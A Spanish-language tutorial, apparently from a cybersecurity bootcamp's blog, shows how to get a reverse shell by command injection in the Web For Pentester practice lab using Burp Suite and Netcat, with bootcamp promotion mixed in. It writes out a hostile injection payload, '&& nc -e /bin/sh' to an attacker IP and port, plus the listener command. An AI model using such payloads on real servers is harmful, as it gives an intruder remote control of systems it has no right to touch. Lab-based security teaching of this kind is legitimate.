¿Sabes cómo ejecutar una reverse shell vía inyección de comandos en un entorno de práctica de hacking web?
El siguiente tutorial sobre cómo ejecutar un reverse shell vía inyección de comandos está hecho con fines educativos. El propósito de la técnica que veremos a continuación es entender cómo actúa un atacante al explotar una vulnerabilidad crítica de un sitio web.
La inyección de código es el tercer ciberataque web más utilizado, según la lista de OWASP Top 10. La inyección de comandos es un tipo de ataque que permite ejecutar comandos bash de Linux y, de este modo, extraer información o tomar control del servidor de la aplicación.
En este post, veremos cómo se ejecuta una reverse shell vía inyección de comandos en un entorno de práctica de hacking web llamado Web For Pentester. Pero antes, repasaremos algunos conceptos necesarios para realizar este ejercicio.
Reverse shell vía inyección de comandos
Antes de adentrarnos al tutorial de cómo ejecutar una reverse shell vía inyección de comandos, repasaremos los conceptos de shell directa y shell inversa, en qué se diferencian y cuál deberíamos escoger al realizar un test de intrusión.
Una shell directa es una terminal de comandos que se conecta desde la máquina del atacante hacia la víctima. Una shell inversa, por el contrario, hace que el ordenador vulnerado se conecte al del hacker.
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaLas shells inversas o reverseshells son preferibles a la hora de hacer ciberataques, ya que permiten evadir la presencia de firewalls y otras medidas de protección. Por eso, en este ejercicio, ejecutaremos una reverse_shell con el programa Netcat.
Preparación
- Crea o abre una máquina virtual con la última versión de Kali Linux.
- Crea o abre una máquina virtual a partir de la imagen ISO de Web For Pentester, de PentesterLab.
- Averigua la dirección IP de tu máquina con Web For Pentester ejecutando el comando “ifconfig” en su terminal.
- Ahora, abre tu máquina virtual con Kali e ingresa al programa Burp Suite, que viene preinstalado en el sistema operativo. Allí, dirígete a la pestaña Proxy y haz clic en el botón “Open browser“.
- En el navegador de Burp Suite, accede a la dirección IP de la máquina virtual de Web For Pentester. Verás la siguiente página:
Ataque
Para hacer el ataque de reverse shell vía inyección de comandos, ingresa al enlace que dice “Example 1“, de la sección “Commands injection“. El link te llevará a la siguiente página:
Ahora, abre la ventana de Burp Suite y activa el botón de “Intercept is on“. Una vez hayas hecho esto, abre una terminal de Kali y pon un puerto a la escucha con el comando:
//revese shell nc -lvp 4444
Después de poner el puerto 4444 a la escucha, regresa a la ventana del navegador y modifica la URL de la página. Para concatenar comandos de Linux, utilizaremos ” && “, con los espacios, al final de la URL, seguidos por el código a ejecutar.
Para ejecutar nuestro payload y crear una reverse shell que se conecte desde el servidor de la página hacia nuestra máquina virtual de Kali, ejecutaremos el siguiente comando al final de la URL original del sitio:
nc -e /bin/sh <dirección IP del atacante> <puerto>
Es decir, el payload de nuestro ejemplo se vería del siguiente modo:
&& nc -e /bin/sh 192.168.175.128 4444
Cuando hayas configurado tu payload presiona enter y dirígete a la ventana de Burp Suite. Haz clic derecho sobre la petición interceptada y selecciona la opción “Send to repeater”. Allí, tendrás que modificar la petición para poder acceder a la reverse shell vía inyección de comandos. Ve a la pestaña Repeater, haz clic derecho sobre la petición y selecciona la opción “URL-encode as you type“.
Ahora, vuelve a escribir el payload en la cabecera de la petición para que quede del siguiente modo:
Notarás que los espacios han quedado cambiados por símbolos “+” y los símbolos “&” se han cambiado por el valor “%26”. Esto significa que el payload ha sido codificado correctamente y se puede ejecutar. Por eso, presiona el botón “Send” para enviar la petición.
La prueba de que ya habrás ejecutado una reverse shell será que, en la terminal de Kali con Netcat, verás el siguiente mensaje después de enviar la petición:
Así, podrás ejecutar cualquier comando en el servidor de la aplicación web, como, por ejemplo:
Ya hemos visto cómo ejecutar una reverse shell vía inyección de comandos. Si quieres aprender más técnicas de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo especializarte en tan solo 7 meses. ¡Pide más información y descubre cómo cambiar tu vida!